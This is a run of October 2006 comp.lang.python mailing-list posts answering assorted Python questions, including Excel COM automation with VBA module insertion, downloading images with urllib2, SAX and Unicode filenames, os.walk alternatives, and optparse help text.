If you are inserting a sheet based on an existing template, specify the path to the template. The default value is xlWorksheet. Remarks If Before and After are both omitted, the new sheet is inserted before the active sheet. """ so, your_handle.Worksheets.Add() looks like what you need. (2) Again in Excel, use the "record a macro" facility: turn on recording, do your thing, stop recording, inspect the generated macro. In this case, this gave Sheets.Add which you translate to your_handle.Sheets.Add() What's the difference between Sheets and Worksheets? I dunno. Try both. Look in the Excel VBA help. HTH, John From scott.daniels at acm.org Thu Oct 12 15:56:34 2006 From: scott.daniels at acm.org (Scott David Daniels) Date: Thu, 12 Oct 2006 12:56:34 -0700 Subject: prefix search on a large file In-Reply-To: References: <1160647737.312386.37800@c28g2000cwb.googlegroups.com> <452e8cf5$1@nntp0.pdx.net> Message-ID: <452e95c6$1@nntp0.pdx.net> Tim Chase wrote: >> def leaders(sorted_list): >> held = None >> for phrase in held: > ... I suspect you mean > for phrase in sorted_list: > no? Ooops -- renaming code before posting should get its own test. You are absolutely correct. --Scott David Daniels scott.daniels at acm.org From noamsml at gmail.com Fri Oct 27 18:48:18 2006 From: noamsml at gmail.com (noamsml at gmail.com) Date: 27 Oct 2006 15:48:18 -0700 Subject: What is the cleanest way to for a module to access objects from the script that imports it? In-Reply-To: References: <1161986024.956989.218370@i42g2000cwa.googlegroups.com> Message-ID: <1161989298.748298.143190@e3g2000cwe.googlegroups.com> Wouldn't importing and re-importing the same modules cause considerable resource bulk? Or does python cache that stuff? On Oct 27, 6:28 pm, Gabriel Genellina wrote: > At Friday 27/10/2006 18:53, noam... at gmail.com wrote: > > >I am new to python and am currently writing my first application. One > >of the problems I quickly ran into, however, is that python's imports > >are very different from php/C++ includes in the sense that they > >completely wrap the imported script in a module object. One of the > >problems with this was that a plugin system that I am making requires > >use of objects, classes and the such from the original script. Thus, on > >one hand, I am hesitant to use execfile(), since I *do* want to wrap > >the plugin up, but on the other hand, I want the plugin to be able to > >use functions from the original script. Any ideas?Put the bulk of your "original script" into modules so they are > easily importable from inside the plugins. > In your application, you can scan the available plugins (using > os.listdir by example) and import them. > (Of course this is risky so you must trust the plugin developers...) > > -- > Gabriel Genellina > Softlab SRL > > __________________________________________________ > Correo Yahoo! > Espacio para todos tus mensajes, antivirus y antispam ?gratis! > ?Abr? tu cuenta ya! -http://correo.yahoo.com.ar From usenet-2004 at lithe.de Sun Oct 1 09:14:43 2006 From: usenet-2004 at lithe.de (Jan Niklas Fingerle) Date: 01 Oct 2006 13:14:43 GMT Subject: "Wiki in 10 minutes" References: Message-ID: <451fbf43$0$26959$9b4e6d93@newsspool4.arcor-online.net> Michiel Sikma wrote: > lost my bookmarks. I once bookmarked this video tutorial which > allegedly showed how to make a wiki in 10 minutes with some Python > network framework. Does anybody know which one it might have been? If you add another ten minutes, this would be http://www.turbogears.org/ Cheers, --Jan Niklas From hhygen at fjerndette.start.no Fri Oct 20 03:33:15 2006 From: hhygen at fjerndette.start.no (Hans Olav Hygen) Date: Fri, 20 Oct 2006 09:33:15 +0200 Subject: Downloading images with python Message-ID: On 23. of October last year a the follwing was posted to this group: > htmlSource=urllib.urlopen("http://www.godandscience.org/images/nebula.jpg") > # Read from the object, storing the page's contents in 's'. > s = htmlSource.read() > htmlSource.close() > myfile = open("myfile.jpg", "w") > myfile.write(s) > myfile.close There were two advices (use urllib2 and "wb"). I tried to build this script on this basis: import win32api import win32com import urllib2 gif&p=TAMA&fy=1900&ty=2005&m=21&r_type=TR&r_no=1") htmlSource=urllib2.urlopen("http://www.godandscience.org/images/nebula.jpg") # Read from the object, storing the page's contents in 's'. s = htmlSource.read() htmlSource.close() myfile = open("P:\Jobb\Prosjekt\Maanedsoversikt\myfile.jpg", "wb") myfile.write(s) myfile.close But the images get cropped at the bottom. Any suggestions on how to get the whole image, and not only 80 - 90% (I run python 2.4 with PythonWin on a Windows XP) -- Using Opera's revolutionary e-mail client: http://www.opera.com/mail/ From martin at v.loewis.de Wed Oct 4 16:36:54 2006 From: martin at v.loewis.de (=?ISO-8859-15?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Wed, 04 Oct 2006 22:36:54 +0200 Subject: sax barfs on unicode filenames In-Reply-To: References: <4ohufoFem6rpU1@uni-berlin.de> Message-ID: <45241B66.7050205@v.loewis.de> Fredrik Lundh schrieb: > Diez B. Roggisch wrote: > >> Filenames are expected to be bytestrings. So what happens is that the >> unicode string you pass as filename gets implicitly converted using the >> default encoding. > > it is ? Yes. While you can pass Unicode strings as file names to many Python functions, you can't pass them to Expat, as Expat requires the file name as a byte string. Hence the error. Regards, Martin P.S. and just to anticipate nit-picking: yes, you can pass a Unicode string to Expat, too, as long as the Unicode string only contains ASCII characters. And yes, it doesn't have to be ASCII, if you change the system default encoding. From pierre at saiph.com Tue Oct 3 17:51:07 2006 From: pierre at saiph.com (Pierre Imbaud) Date: Tue, 03 Oct 2006 17:51:07 -0400 Subject: python html rendering Message-ID: Hi, Im looking for a way to display some python code in html: with correct indentation, possibly syntax hiliting, dealing correctly with multi-line comment, and... generating valid html code if the python code itself deals with html (hence manipulates tag litterals. Thanks for your help! From janencarl at aznex.net Wed Oct 4 21:04:07 2006 From: janencarl at aznex.net (Carl Trachte) Date: Wed, 4 Oct 2006 18:04:07 -0700 Subject: Where is Python in the scheme of things? References: Message-ID: I came from a VB/VBA environment before using Python. My experience has been that Python has a lot more free, pre-coded tools within its community to do the sort of things I do in my job (geometric algorithms, date-time functions, processing and accessing lists of items, scientific programming, etc., etc.). The main strength of VB6 was its ease in dragging and dropping stuff to make a graphical user interface (GUI). The main strength of VBA is that a lot of people know it and it interfaces with the Excel spreadsheet software nicely (except when Windows is acting up, but that's another story). Tkinker took some getting used to. I've dabbled with wxPython a bit. After an initial learning curve, the tools aren't that hard to use, and they both have modules for pre-made widgets (window items) like PMW for Tkinter. The module system, I find, is almost always a step up from dealing with VB/VBA's DLL's. "DLL hell" is real, especially for someone coming into a programming environment for the first time. My last point is a bit controversial. You will get smarter faster and cheaper in the Python community. It's not that there aren't smart people in the (classic) VB community. It's just that there are a lot of people in that community that never programmed in any other language, people that think that learning a Unix based system is too much to ask from an employer, people that believe that the GUI is the quality center and most critical part of the program, and that the backend is an afterthought. I wish I were being cynical or exaggerating, but I'm not. Hanging out around the Python community will make you a better VB, dotNet (C#), or C++ programmer, even if you go with one of those as your language of choice. My 2 cents. Carl Trachte "gord" wrote in message news:I4GdnY3G96ZZirnYnZ2dnUVZ_uidnZ2d at magma.ca... > As a complete novice in the study of Python, I am asking myself where this > language is superior or better suited than others. For example, all I see in > the tutorials are lots of examples of list processing, arithmetic > calculations - all in a DOS-like environment. > > What is particularly disappointing is the absence of a Windows IDE, > components and an event driven paradigm. How does Python stand relative to > the big 3, namely Visual C++, Visual Basic and Delphi? I realize that these > programming packages are quite expensive now while Python is free (at least > for the package I am using - ActivePython). > > Please discuss where Python shines. > Gord > > From sjmachin at lexicon.net Wed Oct 4 20:13:45 2006 From: sjmachin at lexicon.net (John Machin) Date: 4 Oct 2006 17:13:45 -0700 Subject: Python crash when trying to generate an Excel worksheet with VBA macros In-Reply-To: <1159959227.175800.141450@m7g2000cwm.googlegroups.com> References: <1159959227.175800.141450@m7g2000cwm.googlegroups.com> Message-ID: <1160007225.846474.226780@e3g2000cwe.googlegroups.com> Apologies in advance to anyone who gets this twice, but I posted this using Thunderbird over 11 hours ago and it's not showing up ... ================================= On 4/10/2006 8:53 PM, dan_roman wrote: > Hi, > I developed a script with a nice interface in Tkinter that allows me to > edit some formulas and to generate an Excel worksheet with VBA macros > within it. The script runs perfectlly in Office 2000, but in Office > 2003 crash at line: "wbc = workbook.VBProject.VBComponents.Add(1)" > Please help me :-( Please consider helping yourself: (1) Show what error message you got (2) Provide the bare minimal code that will reproduce the problem. Now read on: > the code of the module that crash is (only in Excel 2003, in 2000 not): > > import os > import string ### not used > from win32com.client import Dispatch, constants ### do yourself a favour, use makepy > > str_code=""" > Dim nrfunc As Integer > Dim cursor As Integer > Dim i As Integer > Dim j As Integer > > Sub Fill() > > > 'Aflu numaru de functii din XL > i = 1 > .................. > """ > def createExcelReport(projectName,templateName,saveToPath): > # acquire application object, which may start application > application = Dispatch("Excel.Application") > > # create new file ('Workbook' in Excel-vocabulary) using the specified > template > workbook = application.Workbooks.Add("Template1.xls") Where do you keep this file? I had to supply a full path, otherwise I was getting a file-not-found error. > > # store default worksheet object so we can delete it later > defaultWorksheet = workbook.Worksheets(1) ### not needed > > worksheet1 = workbook.Worksheets(1) > worksheet2 = workbook.Worksheets(2) > worksheet3 = workbook.Worksheets(3) ### not needed > > ---->>>>> wbc = workbook.VBProject.VBComponents.Add(1) <<<<------ here > is the problem > > wbc.Name="Module1" > > wbc.CodeModule.AddFromString(str_code) > > path=saveToPath+"\\"+projectName+"_"+templateName+".xls" > > workbook.SaveAs(path) > > worksheet1 = workbook.Worksheets(1) > > # make stuff visible now. > worksheet1.Activate() > application.Visible = True > and no code to call it. I wrote some code to call it, created an empty default spreadsheet called c:\junk\Template1.xls, ran it, got file-not-found, changed code to have r"c:\junk\Template1.xls" and ran it again. Sure enough, it crashed on the VBComponents.Add(1) thing. Here is the result: C:\junk>\python24\python dan_roman.py Traceback (most recent call last): File "dan_roman.py", line 50, in ? saveToPath=r'c:\junk', File "dan_roman.py", line 31, in createExcelReport wbc = workbook.VBProject.VBComponents.Add(1) File "C:\Python24\Lib\site-packages\win32com\client\__init__.py", line 496, in __getattr__ if d is not None: return getattr(d, attr) File "C:\Python24\Lib\site-packages\win32com\client\__init__.py", line 455, in __getattr__ return self._ApplyTypes_(*args) File "C:\Python24\Lib\site-packages\win32com\client\__init__.py", line 446, in _ApplyTypes_ return self._get_good_object_( pywintypes.com_error: (-2147352567, 'Exception occurred.', (0, 'Microsoft Office Excel', 'Programmatic access to Visual Basic Project is not trusted\n', 'C:\\Pr ogram Files\\Microsoft Office\\OFFICE11\\1033\\xlmain11.chm', 0, -2146827284), N one) ==== Interesting: "Programmatic access to Visual Basic Project is not trusted" So I opened up Template1.xls and did Macros > Security > Trusted Publishers and ticked "Trust access to Visual Basic Project" and saved the file and exited Excel and ensured there were no ghost Excel.exe processes lurking. [Confessions (1) I'm not in the habit of mucking about with VBA, so I didn't get this right first time (2) William Ferschlugginer Gates was mentioned once or twice, not in a complimentary fashion :-)] Now the code appears to work. It creates a file, in which your VBA guff can be seen by opening it with Excel and entering the VBA editor. So, the $64,000 question is: "What error message did *you* get?" My versions: Excel 2003 (11.8033.8036) SP2 pywin32 build 209 Python 2.4.3 HTH, John From esj at harvee.org Tue Oct 3 00:36:04 2006 From: esj at harvee.org (Eric S. Johansson) Date: Tue, 03 Oct 2006 00:36:04 -0400 Subject: httplib and large file uploads In-Reply-To: <4222a8490610021035j28ddc198kfb60fa43b30a5ce9@mail.gmail.com> References: <4222a8490610021035j28ddc198kfb60fa43b30a5ce9@mail.gmail.com> Message-ID: <4521E8B4.7030905@harvee.org> Jesse Noller wrote: > Hey All, > > I'm working on an script that will generate a file of N size (where N is > 1k-1gig) in small chunks, in memory (and hash the data on the fly) and > pass it to an httplib object for upload. I don't want to store the file > on the disk, or completely in memory at any time. The problem arises > after getting the http connection (PUT) - and then trying to figure out > how to iterate/hand the chunks I am generating to the httplib > connection's send() call. For example (this code does not work as is): I've been wrestling with a similar one for a while and been mostly held up because the Java applet developer has been... less than prompt. The only way I've been able to successfully upload very large files is by performing multiple put requests and on the server-side aggregating them into the "real file". obviously, world will be more difficult if you don't have a uniform chunk size or sequential creation of chunks. ---eric From marc.wyburn at googlemail.com Fri Oct 27 07:28:51 2006 From: marc.wyburn at googlemail.com (marc.wyburn at googlemail.com) Date: 27 Oct 2006 04:28:51 -0700 Subject: Slurping All Content of a File into a Variable In-Reply-To: References: Message-ID: <1161948531.098283.162950@b28g2000cwb.googlegroups.com> myfile_content is an object and you have only opened the file. Python doesn't yet know whether you want to read it, copy it etc. to read it try text = myfile_content.readlines() print text this should be in most tutorials Wijaya Edward wrote: > Hi, > > How can we slurp content of a single file > into one variable? > > I tried this: > > >>> myfile_content = open('somefile.txt') > >>> print myfile_content, > > >>> > > But it doesn't print the content of the file. > > Regards, > -- Edward WIJAYA > SINGAPORE > > > ------------ Institute For Infocomm Research - Disclaimer ------------- > This email is confidential and may be privileged. If you are not the intended recipient, please delete it and notify us immediately. Please do not copy or use it for any purpose, or disclose its contents to any other person. Thank you. > -------------------------------------------------------- From nogradi at gmail.com Sat Oct 7 17:45:29 2006 From: nogradi at gmail.com (Daniel Nogradi) Date: Sat, 7 Oct 2006 23:45:29 +0200 Subject: operator overloading + - / * = etc... In-Reply-To: <1160256250.688620.63770@h48g2000cwc.googlegroups.com> References: <1160256250.688620.63770@h48g2000cwc.googlegroups.com> Message-ID: <5f56302b0610071445y5fb04050x22d0b1b2d301ec9c@mail.gmail.com> > Can these operators be overloaded? > If so. How? > http://www.python.org/doc/ref/numeric-types.html HTH, Daniel From ray_usenet at yahoo.com Sun Oct 1 23:01:12 2006 From: ray_usenet at yahoo.com (Ray) Date: 1 Oct 2006 20:01:12 -0700 Subject: The Python world tries to be polite [formerly offensive to another language] In-Reply-To: <1159743338.577830.177290@i42g2000cwa.googlegroups.com> References: <1159188351.960448.43660@d34g2000cwd.googlegroups.com> <1159555450.721085.51710@h48g2000cwc.googlegroups.com> <1159601820.592847.42160@i3g2000cwc.googlegroups.com> <_vidnZxCbMF-NYPYnZ2dnUVZ_qqdnZ2d@speakeasy.net> <1159730965.869927.322910@h48g2000cwc.googlegroups.com> <1159743338.577830.177290@i42g2000cwa.googlegroups.com> Message-ID: <1159758072.560865.293300@h48g2000cwc.googlegroups.com> MonkeeSage wrote: > Ant wrote: > > Don't think so, I followed the thread along a little, and it seems to > > be correct. In addition, they seem to have the ? character as the Perl > > 6 equivalent of zip(). Those crazy guys. > > Yup, I don't think it was a joke either; there are several other > "hyper" operators already in pugs: > http://svn.openfoundry.org/pugs/src/Pugs/Parser/Operator.hs (see tests: > http://svn.openfoundry.org/pugs/t/operators/hyper.t ). If it weren't Perl I would think of this as an April Fool's joke. Good thing by the time Perl 6 comes out nobody'll care enough about it to use it (in fact even if it comes out tomorrow, does anybody still care?). So it's quite unlikely for us to encounter it in the real world... or so I hope. > > Regards, > Jordan From antroy at gmail.com Mon Oct 23 07:25:01 2006 From: antroy at gmail.com (Ant) Date: 23 Oct 2006 04:25:01 -0700 Subject: Using Python scripts in Windows Explorer In-Reply-To: <1161600812.006210.219090@k70g2000cwa.googlegroups.com> References: <1161357605.861266.144980@m73g2000cwd.googlegroups.com> <1161600812.006210.219090@k70g2000cwa.googlegroups.com> Message-ID: <1161602701.013320.62880@m73g2000cwd.googlegroups.com> Ben Sizer wrote: > > Create a shortcut and drop the file over it. ... > That is what I meant by 'the usual steps'. :) It doesn't work. Alter the target of the shortcut to something like: C:\Python25\python.exe C:\0\sort_test.py and drag and drop should work, with the filename of the dragged file being sent as a script argument. From fredrik at pythonware.com Wed Oct 4 07:07:56 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 4 Oct 2006 13:07:56 +0200 Subject: What value should be passed to make a function use the defaultargument value? References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com><7xwt7gqwb3.fsf@ruckus.brouhaha.com><7xac4cpefr.fsf@ruckus.brouhaha.com> Message-ID: Georg Brandl wrote: >> But that can only work if you are the author of f. Take the >> following code: >> >> def myrepeat(obj, times = xxx): >> return itertools.repeat(obj, times) >> >> What value do I have to substitue for xxx, so that myrepeat >> will have the exact same function as itertools.repeat? > > There's no possible value. You'll have to write this like > > def myrepeat(obj, times=None): > if times is None: > return itertools.repeat(obj) > else: > return itertools.repeat(obj, times) or: def myrepeat(*args): return itertools.repeat(*args) From steve at holdenweb.com Wed Oct 25 12:27:14 2006 From: steve at holdenweb.com (Steve Holden) Date: Wed, 25 Oct 2006 17:27:14 +0100 Subject: To remove some lines from a file In-Reply-To: References: <1161782402.343992.152080@k70g2000cwa.googlegroups.com> Message-ID: Sebastian Busch wrote: > umut.tabak at student.kuleuven.be wrote: > >>... I would like to remove two lines from a file. >>... > > > I am quite new myself -- but wouldn't grep -v do that easier (and > perhaps faster)? > Kindly show how to use grep to solve this problem: Remove the first two lines that don't begin with "@" from a file. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From uriel.katz at gmail.com Fri Oct 6 07:49:35 2006 From: uriel.katz at gmail.com (urielka) Date: 6 Oct 2006 04:49:35 -0700 Subject: Access to static members from inside a method decorator? In-Reply-To: References: <1159968945.192014.249380@k70g2000cwa.googlegroups.com> <4524c9bb$0$23498$426a74cc@news.free.fr> <1160061499.579029.9130@k70g2000cwa.googlegroups.com> <1160104692.597151.143200@b28g2000cwb.googlegroups.com> Message-ID: <1160135375.836315.31220@b28g2000cwb.googlegroups.com> no need for all that,i wrote a basic Ajax framework for cherrypy that features a Ajax.Net feature,exposing functions to JavaScript via attributes(or in python via decorators),here is a decorator that run one time(i.e. before running the actual code) and get the name of the class [code] def AddFunction(func): stack=inspect.stack() ClsName=stack[1][3]#get the class name from the stack #now you both have the ClassName and the func object,so you can populate your list return func#return the decorated function [/code] it use the module inspect,to inspect the stack. From epost2 at gmail.com Sat Oct 7 13:34:10 2006 From: epost2 at gmail.com (Bruce) Date: 7 Oct 2006 10:34:10 -0700 Subject: Is there an alternative to os.walk? In-Reply-To: <1159988816.166699.307450@k70g2000cwa.googlegroups.com> References: <1159983032.359224.83280@i3g2000cwc.googlegroups.com> <1159988816.166699.307450@k70g2000cwa.googlegroups.com> Message-ID: <1160242450.515582.304510@i42g2000cwa.googlegroups.com> waylan wrote: > Bruce wrote: > > Hi all, > > I have a question about traversing file systems, and could use some > > help. Because of directories with many files in them, os.walk appears > > to be rather slow. I`m thinking there is a potential for speed-up since > > I don`t need os.walk to report filenames of all the files in every > > directory it visits. Is there some clever way to use os.walk or another > > tool that would provide functionality like os.walk except for the > > listing of the filenames? > > You might want to check out the path module [1] (not os.path). The > following is from the docs: > > > The method path.walk() returns an iterator which steps recursively > > through a whole directory tree. path.walkdirs() and path.walkfiles() > > are the same, but they yield only the directories and only the files, > > respectively. > > Oh, and you can thank Paul Bissex for pointing me to path [2]. > > [1]: http://www.jorendorff.com/articles/python/path/ > [2]: http://e-scribe.com/news/289 A little late but.. thanks for the replies, was very useful. Here`s what I do in this case: def search(a_dir): valid_dirs = [] walker = os.walk(a_dir) while 1: try: dirpath, dirnames, filenames = walker.next() except StopIteration: break if dirtest(dirpath,filenames): valid_dirs.append(dirpath) return valid_dirs def dirtest(a_dir): testfiles = ['a','b','c'] for f in testfiles: if not os.path.exists(os.path.join(a_dir,f)): return 0 return 1 I think you`re right - it`s not os.walk that makes this slow, it`s the dirtest method that takes so much more time when there are many files in a directory. Also, thanks for pointing me to the path module, was interesting. From srikrishnamohan at gmail.com Sun Oct 8 15:58:45 2006 From: srikrishnamohan at gmail.com (km) Date: Mon, 9 Oct 2006 01:28:45 +0530 Subject: references and buffer() In-Reply-To: <463ff4860610081224o7261e9e9ue0981b79fa574cbd@mail.gmail.com> References: <463ff4860610081224o7261e9e9ue0981b79fa574cbd@mail.gmail.com> Message-ID: Hi all, Say that you copy the contents of file foo into file bar and delete > the original foo. Of course file bar still exists in this case. Not > much of a difference; I haven't seen buffer objects yet (I am also new > to Python), but the initialization for the buffer probably copies > whatever is in y somewhere. that means when u refer to an object with different names (variable), it referes to the same object- fine. but is it that the original object stays in memory until it is Garbage Collected ? is it that del() deletes the link of variable to the object and not the object ? and thats why u can access it from other variables ? You didn't modify the object that the variable /refers to/. > Furthermore, numbers are immutable anyway. To continue with the Hindu > god analogy, Vishnu did not cease to exist when any of his avatars > passed from the physical world; it is no different with objects in > Python. vishnu analogy is a bit complicated as it is a manifestation of divine energy in terms of earthly object(avatar). Its clearly not a reference. each avatar is himself (vishnu). It is the same energy people around have too (coz of manifestation). ofcourse they dont realise coz of ego (id in python) and so the object class (divine energy) is the same - unlike python where we have different classes derived from object class. IOW > > a --> 10 > b -/ > > Delete the 'a' reference and: > > b --> 10 got it! What is a little different is this: if there are no references left to > an object (such as variables), the object the references point to will > eventually be deleted. Variables are one way to have a reference to an > object. References to an object may also exist in a list, hash, or > other data type. so the object exists until there are no references to it and will be Garbage Collected immediately? regards, KM -------------- next part -------------- An HTML attachment was scrubbed... URL: From felipe.lessa at gmail.com Sun Oct 22 09:58:15 2006 From: felipe.lessa at gmail.com (Felipe Almeida Lessa) Date: Sun, 22 Oct 2006 10:58:15 -0300 Subject: How to print a file in binary mode In-Reply-To: <1161524030.833422.216370@k70g2000cwa.googlegroups.com> References: <1161519385.614985.311240@m73g2000cwd.googlegroups.com> <1161524030.833422.216370@k70g2000cwa.googlegroups.com> Message-ID: 22 Oct 2006 06:33:50 -0700, Lucas : > I known how to do it. > read() return a string. so > 1) bytes = read(1) #read the file by bit. > 2) chrString = ord(bytes) #convert the string to ASCII. > 3) print numberToBinary(chrString) #convert the ASCII to Binary using > my function. > 4) Loop [numberToBinary(ord(x)) for x in f.read()] ? -- Felipe. -------------- next part -------------- An HTML attachment was scrubbed... URL: From colin.lehmann at gmail.com Sun Oct 8 01:23:22 2006 From: colin.lehmann at gmail.com (Colin Lehmann) Date: Sun, 08 Oct 2006 12:23:22 +0700 Subject: Raw beginner.... Message-ID: <45288B4A.90702@gmail.com> I am new to Python although I have been using Delphi since version one, I have been employed as a C and C++ programmer so when I went to Linux (Ubuntu 5.10) I thought Python looked pretty good. I downloaded and installed 'Eric Python IDE' which seems OK, any alternatives suggested will be looked at.... My current problem is I am trying to compile a package I downloaded, it is a PodCaster called 'CastPodder'!!), I looked at the source file and it tried to import something called 'wxversion' and couldn't find it. I searched the net and found a package called 'Python wxversion???.Deb'. Downloaded it and unpacked it but the IDE still can't find it! My question is : Where should I put the package (download it to..) so when I unpack it the IDE can find it? I looked around and found a reference to PYTHONPATH which is supposed to tell Python where everything is but I simply cannot find it anywhere. I found sys.path but I don't think that is what I want.... Help! Everyone must have gone through this sometime!! TIA Colin From bcannon at gmail.com Sun Oct 22 11:19:48 2006 From: bcannon at gmail.com (bcannon at gmail.com) Date: 22 Oct 2006 08:19:48 -0700 Subject: PSF Infrastructure has chosen Roundup as the issue tracker for Python development [repost] Message-ID: <1161530388.074372.242310@b28g2000cwb.googlegroups.com> [my initial post through python-list never seemed to reach c.l.py; reposting] At the beginning of the month the PSF Infrastructure committee announced that we had reached the decision that JIRA was our recommendation for the next issue tracker for Python development. Realizing, though, that it was a tough call between JIRA and Roundup we said that we would be willing to switch our recommendation to Roundup if enough volunteers stepped forward to help administer the tracker, thus negating Atlassian's offer of free managed hosting. Well, the community stepped up to the challenge and we got plenty of volunteers! In fact, the call for volunteers has led to an offer for professional hosting for Roundup from Upfront Systems. The committee is currently evaluating that offer and will hopefully have a decision made soon. Once a decision has been made we will contact the volunteers as to whom we have selected to help administer the installation (regardless of who hosts the tracker). The administrators and python-dev can then begin working towards deciding what we want from the tracker and its configuration. Once again, thanks to the volunteers for stepping forward to make this happen! -Brett Cannon PSF Infrastructure committee chairman From jstroud at mbi.ucla.edu Fri Oct 13 23:41:31 2006 From: jstroud at mbi.ucla.edu (James Stroud) Date: Sat, 14 Oct 2006 03:41:31 GMT Subject: optparse: add trailing text in help message? In-Reply-To: References: Message-ID: Count L?szl? de Alm?sy wrote: > Is there a standard way with optparse to include a blurb of text after > the usage section, description, and the list of options? This is > often useful to include examples or closing comments when the help > message is printed out. Many of the GNU commands do this. > > It would look something like this: > > % program --help > > usage: program [options] > > This is my description text. > > options: > -f BAR, --foo=BAR > A sample option > --version show program's version number and exit > --help show this help message and exit > > ==> Now how about closing text after the options list? Maybe subclass OptionParser? py> from optparse import OptionParser py> py> class OptionParserSpecial(OptionParser): ... def format_help(self, *args, **kwargs): ... result = OptionParser.format_help(self, *args, **kwargs) ... if hasattr(self, 'trailing_text'): ... return "%s\n%s\n" % (result, self.trailing_text) ... else: ... return result ... py> py> usage = 'usage: dosomething [options] path' py> parser = OptionParserSpecial(usage) py> parser.add_option("-a", "--all", dest="all", ... action='store_true', default=False, ... help="don't skip hidden or binary files")